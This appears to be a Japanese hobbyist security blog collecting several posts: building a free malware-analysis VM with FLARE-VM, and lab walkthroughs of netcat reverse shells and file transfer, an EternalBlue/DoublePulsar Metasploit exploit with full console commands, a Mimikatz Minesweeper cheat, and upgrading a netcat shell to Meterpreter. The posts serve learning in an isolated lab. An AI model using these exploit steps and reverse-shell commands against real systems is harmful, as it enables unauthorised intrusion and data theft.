Re:ゼロ円から始める解析者生活 【解析環境】
前回までの話
解析環境
仮装環境を導入して、日本語化も済んだのでいよいよ解析環境を構築していきたいけど、1から揃えるのは何気に骨が折れる・・・。そこで今回は、これを利用する。
「FLARE-VM (FLARE:FireEye Labs Advanced Reverse Engineering)」これはFireEye社から出ている解析環境のイメージらしいです。しかも、無料!
とりあえず、天下のFireEyeが出してる環境なら間違いないってことで、こいつを組み込んでいきますw
で、Githubから落としても出来そうなんだけど「インストールや使い方に関してはブログみてね」って書いてあるのでブログの流れで実施します。
1. 上記サイトにアクセス
2. リンクをクリック
3. リンク先からファイルをダウンロードして実行
4. 「実行」を選択
5. インストーラのダウンロードが始まる
6. インストーラのダウンロードが完了したら実行
7. 一度だけパスワードの入力を求められる(インストール時の再起動に利用)
8. あとはインストールの完了を待つだけ。
9. 何度か再起動して待っているとインストールが完了する
普通の?Windowsなら壁紙が変更されているんだけど、これは評価版なんで変更されない様子。でも、ツールはインストールされているので大丈夫。
ツールの一部
・デバッガー
・ネットワーク系
さぁ、これでmalwareの解析がんばってみよう!
Re:ゼロ円から始める解析者生活 【日本語化】
前回までの話
日本語化
インポートしたままだと英語環境で、さすがに厳しかったので日本語化した。
1. 「Contorol Panel」→「Clock, Language, an Region」を選択
2. 続いて「Add a language」を選択
3. 「Add a language」を選択
4. 「日本語」を選択して「Add」を選択
5. 日本語の並びの「Options」を選択
6. 「Download and install language pack」を選択
7. 「Yes」を選択
8. ダウンロードが開始されるのでしばらく待機
9. ダウンロードとインストールが完了したら「日本語」を選択した状態で「Move up」を選択
10. 「日本語」が選択されている状態で、画面左下の「Location」を選択
11. 「Home location」をドロップダウンリストより「Japan」を選択
12. 「Location」タブの隣の「Administrative」タブを選択し「Copy settings...」を選択
13. 「Apply」を選択
14. 出てきた画面下部のチェックボックス2つにチェックを入れて「OK」を選択
15. 再起動
キーボードレイアウトの日本語化
英語キーボードの設定になったままだと色々と不都合なので日本語キーボードに変更した
1. 「Windows」→「設定」を選択
2. 「時刻と言語」を選択
3. 左側の「地域と言語」を選択
3-1. この際、タイムゾーンもついでに変更しておくと便利
4. 日本語の「オプション」を選択
5. ハードウェア キーボードレイアウトの「レイアウトを変更する」を選択
6. 英語キーボードから日本語キーボードに変更して「サインアウト」を選択
7. ログインするをキーボードレイアウトが変更されている
システムロケールの変更
いちおシステムロケールを変更しておく
1. 「コントロールパネル」→「時計、言語、および地域」→「言語」→「場所」
2. 「管理」タブの「システムロケールの変更」を選択
3. 「地域の設定」でドロップダウンリストより「日本語(日本)」を選択して「OK」を選択
4. 再起動して設定完了
解析環境へつづく・・・
Re:ゼロ円から始める解析者生活 【導入】
Malwareの解析をやりたいなぁって思った。
でも、ウチはMacで、Windowsじゃないんだよね(T ^ T)
Macでも解析はできなくはないと思うけどやっぱりWindowsが良いよね。でも、仮想環境からOSまで揃えるとかなりの出費になる・・・。
そんな金はない!
てな訳で、お金をかけないで仮想化したWindowsの解析環境を作れないか追求してみる!
仮想環境
お金をかけない仮想環境といったらやっぱり「Oracle VM VirtualBox」と、個人的に思っているので、ダウンロードして使うことにする。別に「VMware Workstation Player」でも良いんだけど俺の記憶だとスナップショットが使えないような気がしたのでVirtualBoxを利用してます。
あとは、インストールするだけ。これで仮想環境の準備完了。
次にOS、それもWindows。もし、自分は金銭的に余裕あるんで購入します!とか、会社のアカウントでいくらでもダウンロードできるんで大丈夫って人は読み飛ばしてくださいw
実は、Microsoftでは検証用にと無料でWindowsがダウンロードできる仕組みがあります。それが「Microsoft Edge - Microsoft Developer」です。
1. 「Virtual Machines」を選択
2. 「Select a download」の「Virtual machine」ドロップダウンリストより必要なOSのバージョンを選択(今回はWindows10を選択)
3. 「Select platform」のドロップダウンリストより仮想マシンを選択(Virtual Boxを使うので選択)
4. 選択した内容を確認しダウンロード
5. ダウンロードしてきたzipを解凍して、フォルダ内の「MSEdge - Win10.ovf」をVirtual Boxでインポートする。
6. インポート完了
※ ちなみにこのWindowsは、あくまで検証用なので90日しか利用できないので気をつけてください。
起動
VirtualBoxより「起動」を選択してインポートした仮想マシンを起動する。パスワードは「Passw0rd!」
日本語化へ続く・・・
とある親父の侵入実験【Netcatの使い方】
今更感が半端ないんだけど、便利なネットワークツール「Netcat」の基本的な使い方を勉強してみたのでまとめておく。
今回は以下のサイトを参考にして勉強しました。
Port Knocking
nc IPアドレス ポート番号
ncコマンドを使用してポート番号にアクセスすると、そのポート番号を使用しているサービスを調べられる。
Reverse Shell
netcatって言ったらこれかな?てか、ちゃんと調べるまで使用用途はこれしか知らなかったw
Reverse Shellなんで標的となるVictim側から接続先のAttackerへConnectする。
待受側(Attacker)
nc -lvp ポート番号
指定したポートで、標的からのReverse接続を待ち受ける。
接続側(Victim)
nc IPアドレス ポート番号
これで接続できる。でも、
の方が、接続した時のshellを指定できるしなんとなく便利だから使うようにしている。
接続すると
待受側で接続が開始されたメッセージが表示される。
一応、確認するw
Victim端末はmetasploitableなので間違いなくReverse接続されている。
ファイル転送
Reverse接続の応用で、入出力先をファイルにすることでファイルの転送もできる。
先ほどと同じ要領で待ち受けて、出力をファイルにリダイレクトする。
※passというファイルに保存されるようにした
同じく接続も先ほどと同じ要領にしつつ入力をファイルに
※passwordというファイルを作成し入力ファイルにした
接続が行われるとファイルが作成される。
他にもポートスキャンが出来たり、HTTPリクエストが出来たりするようだけど、Reverse接続とファイル転送が出来ればそれで十分かなと思うので他は割愛。
地雷探しに脆弱性を使うのは間違っているだろうか 〜Hack a Minesweeper〜
※これは、2017/06/03に「Akibasec #1」で喋ったLTを再編集したものです。
マインスイーパーってゲームを覚えていますか?若い人はもしかすると聞いたことないかもしれないんですが・・・。昔のWindowsには標準でインストールされているゲームで、いい感じ時間泥棒してくれますw
マインスイーパ(Minesweeper)は1980年代に発明された、一人用のコンピュータゲームである。ゲームの目的は地雷原から地雷を取り除くことである。
このゲームは多数のコンピュータプラットフォーム向けに書き直されており、Microsoft Windowsをはじめ、LinuxのGNOMEやKDEなどのシステムに同梱されているものもある。
ウィキペディアより
ちょっと前回のMS17-010の検証でXPを引っ張り出して使っていたら、このゲームを見つけて見事に半日奪われましたw
そこで、思ったのです・・・
上級をクリアしたい!!
(ちなみに上級の世界記録は33秒らしいですw)
要するにやりたいことは・・・
マインスイーパーの上級をすごい記録でクリアしてみたい!
そのためにマインスイーパーが動いているWindowsをハックして、マインスイーパーの裏技を見つけたい!
というもの。
準備したもの
環境(仮想環境)
- Windows XP(192.168.1.1)
- Kali Linux(192.168.1.100)
1 調査
まずは、おきまりのポートスキャンをしてみた。すると・・・
445番ポートが開いているのが確認できた。と、いうことは前回やったあれが使えますw
Eternal Blue(MS17-010)が使えるか確認する。
脆弱性が残っているのが確認できる。
2 Exploit
脆弱性の存在が、確認できたので前回の要領でWindowsのハックまでやっちゃいます。
なんだかんだで侵入完了。
3 MeterpreterからのまさかのMimikatz
次に、meterpreterからMimikatzを読み込む。
これでmimikatz_commandという、要するにmeterpreter上でmimikatzを利用する準備が整う。パスワードクラックツールのmimikatzがマインスイーパーと何の関係があるのかわからないが、何故かマインスイーパーをクラックする機能がついているのであるw
このmimikatz_commandにあるwinmine::infosってのを使うと・・・
ちょっと画像からだと判別しづらいかもだけど、答えが丸見え状態になってます(^o^)
これで、答えを見ながらクリアすれば良いのか?
実は、もっと便利なコマンドがあります。
それはwinmine::cheatと入力すると・・・(もうcheatって響きがとても良い!)
上図は、見やすいように先にinfosで地雷の位置を表示させてからcheatを使用。
見事に地雷の位置に旗が立っている!この状態で旗の立っていない空白をクリックすると・・・
クリア!!(所要時間1秒)
と、いう感じにチートができました(^-^)v
4 まとめ
ハッキングってどんなのー?って話を全くセキュリティのわからない人にする時って本当に困ります。目の前のパソコンに侵入して壁紙変えたりするのも良いかもしれないが、こんなやり方も若い子や、初めてセキュリティに触れる人には喜ばれるのでは?
とある親父の侵入実験【MS17-010の活用】
今更なんだけど最近話題のWannaCryptが利用していることでお馴染みの脆弱性「MS17-010」を利用した攻撃というものを検証してみたいと思う。
本脆弱性に関する細かいことは以下のリンクを参照してください。
マイクロソフト セキュリティ情報 MS17-010 - 緊急
今回は、この動画を参考にしています。
準備したもの
環境(仮想環境)
1 環境構築
この動画によると、まず、wineをインストールする。
root@kl-01rbt:~# apt-get update
root@kl-01rbt:~# apt-get install wine32
我が家の環境では、既にインストールされていた様子
次に脆弱性を利用する攻撃モジュールをゲットしてくる。
root@kl-01rbt:~# git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git
落としてきたやつの「deps」と「eternalblue_doublepulsar.rb」を/usr/share/metasploit-framework/modules/exploits/windows/smbにコピーする。この作業は動画のようにGUIでやったほうが簡単かも
2 調査
次に対象となるWindows 7がSMBv1を使っているのかを調査する。
調査用のモジュールは最近のアップデートで組み込まれている様子。
msf > search ms17-010
これでDBを探すと「auxiliary/scanner/smb/smb_ms17_010」という名前の「MS17-010 SMB RCE Detection」をしてくれるモジュールが見つかるので実行
msf > use auxiliary/scanner/smb/smb_ms17_010
msf auxiliary(smb_ms17_010) > set RHOSTS 192.168.1.150
RHOSTS => 192.168.1.150
msf auxiliary(smb_ms17_010) > run
調査の結果としては、MS17-010の脆弱性があって何か出来そうな雰囲気を醸し出してくれるw
3 攻撃準備
モジュールを配置したらmetasploitの起動
root@kl-01rbt:~# msfconsole
起動したら
msf > search eternalblue
さっき入れたモジュールが見つかったらいつものように設定していく。今回はやたら設定項目長い・・・。
msf > use exploit/windows/smb/eternalblue_doublepulsar
msf exploit(eternalblue_doublepulsar) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(eternalblue_doublepulsar) > set DOUBLEPULSARPATH /usr/share/metasploit-framework/modules/exploits/windows/smb/deps
DOUBLEPULSARPATH => /usr/share/metasploit-framework/modules/exploits/windows/smb/deps
msf exploit(eternalblue_doublepulsar) > set ETERNALBLUEPATH /usr/share/metasploit-framework/modules/exploits/windows/smb/deps
ETERNALBLUEPATH => /usr/share/metasploit-framework/modules/exploits/windows/smb/deps
msf exploit(eternalblue_doublepulsar) > set target 9
target => 9
msf exploit(eternalblue_doublepulsar) > set RHOST 192.168.1.150
RHOST => 192.168.1.150
msf exploit(eternalblue_doublepulsar) > set WINEPATH /root/
WINEPATH => WINEPATH /root/
msf exploit(eternalblue_doublepulsar) > set TARGETARCHITECTURE x86
TARGETARCHITECTURE => x86
msf exploit(eternalblue_doublepulsar) > set PROCESSINJECT explorer.exe
PROCESSINJECT => explorer.exe
msf exploit(eternalblue_doublepulsar) > set LHOST 192.168.1.100
LHOST => 192.168.1.100
4 攻撃
これを実行してやると・・・
見事に侵入成功w
5 結論
この脆弱性自体、3月のアップデートで修正されているんだけど、今回のランサムウェア騒ぎでは適応していなかった(若しくは何かしらの理由で適応できない)環境の端末が感染して大変なことになった。やはり、パッチは公開されたら適用するべきだと思うし、もし何かしらの理由で適用ができないならばしっかりと代替手段を講じるべきだと思う。
ま、ペネトレ仕掛ける側とすると、こんなメジャー級の脆弱性が残ってる中小企業さんとか見つけちゃうと可哀想(ご馳走)に思えちゃうんだけどねw
とある親父の侵入実験【NetcatからMeterpreterへ】
今日のお題は「Netcat」
Netcatは、Unix系OSコマンドラインアプリケーションの一つ。TCPやUDPのパケットを読み書きするバックエンドとして機能するツールで、ネットワークを扱う万能ツールとして知られる。後にWindows版なども登場している。
と、ウィキペディアでは紹介されているペネトレーションテストでは、何かとお世話になっている通信用のアプリケーション
これまでも、イベント等で脆弱性を見つけて、exploitしてみたらncで接続されたなんてことがありました。でも、やっぱりmeterpreterで操作できると便利なんだよね
(俺自身のレベルがまだまだ低いからw)
てか、そんなわけでnetcatで接続したセッションをmeterpreterへエスカレーションする手段についてまとめてみたいと思う
準備したもの
環境(仮想環境)
- Kali Linux(192.168.1.100)
- Metasploitable2 (192.168.1.200)
1 接続
まず、Kali側でポートを指定して待ち受けしてやります。
msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.100
LHOST => 192.168.1.100
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > run
これで実行すると待ち受け状態になる
そうしたら次はMetasploit側へ
metasploitable側からncコマンドを使ってKaliへ接続をします
nc 攻撃側IPアドレス 待受ポート番号 -e /bin/sh
nc 192.168.1.200 4444 -e /bin/sh
そうするとKali側では
metasploitable側からの接続を受けてCommand Shellでのセッションが開く
ここで「control + z」を押してセッションをバックグラウンドへ移行する
Background session 1? [y/N] y
もとのコンソールに戻ってきたら一度「session」コマンドで確認
2 昇格
次にmeterpreterへエスカレーションするモジュールをポストしてやる
msf exploit(handler) > use post/multi/manage/shell_to_meterpreter
msf post(shell_to_meterpreter) > set session 1
session => 1
msf post(shell_to_meterpreter) > run
payloadが送信され今度はmeterpreterでのセッションが開いたことが確認できる
「session」コマンドで確認
「session -i 2」で、meterpreterセッションに接続
見事にmeterpreterでmetasploitableに接続できている!
3 結論
なんでこんなことをやったかというと、ここ最近のインシデントレスポンス系のイベントに参加した際に、ncで接続まではこじつけたのにそのあとファイルを奪取できなかったとか、対象端末の情報を搾取できなかったことが何度かありました。そんな時、レベルの低い自分としては「あー、meterpreterで接続とかできたらよかったのに(T . T)」
まぁレベル高い人からすると「ncコマンドが使える時点でなんでもできるよw」って笑われるんですけどね・・・。
とりあえず、俺の中でのnetcatへのリベンジ完了!!